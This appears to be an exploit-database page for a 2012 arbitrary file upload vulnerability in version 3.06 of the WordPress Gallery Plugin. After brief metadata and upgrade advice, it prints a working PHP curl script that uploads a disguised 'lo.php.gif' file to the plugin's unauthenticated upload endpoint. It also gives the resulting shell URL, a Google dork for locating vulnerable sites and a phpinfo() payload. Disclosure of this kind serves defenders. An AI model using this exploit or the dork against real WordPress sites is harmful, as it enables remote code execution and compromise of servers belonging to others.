header-logo
Suggest Exploit
vendor:
Gallery Plugin
by:
Sammy FORGIT
9
CVSS
HIGH
Arbitrary File Upload
434
CWE
Product Name: Gallery Plugin
Affected Version From: 3.06
Affected Version To: 3.06
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:gallery_plugin
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

WordPress Plugins – Gallery Arbitrary File Upload Vulnerability

A vulnerability in the Gallery Plugin for Wordpress allows an attacker to upload arbitrary files, such as a PHP shell, via a specially crafted HTTP POST request. This can be exploited to gain remote code execution on the server hosting the vulnerable application.

Mitigation:

Upgrade to the latest version of the Gallery Plugin for Wordpress.
Source

Exploit-DB raw data:

##################################################
# Description : Wordpress Plugins - Gallery Arbitrary File Upload 
Vulnerability
# Version : 3.06
# Link : http://wordpress.org/extend/plugins/gallery-plugin/
# Plugins : http://downloads.wordpress.org/plugin/gallery-plugin.3.06.zip
# Date : 01-06-2012
# Google Dork : inurl:/wp-content/plugins/gallery-plugin/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/gallery-plugin/upload/php.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/gallery-plugin/upload/files/lo.php.gif


lo.php.gif
<?php
phpinfo();
?>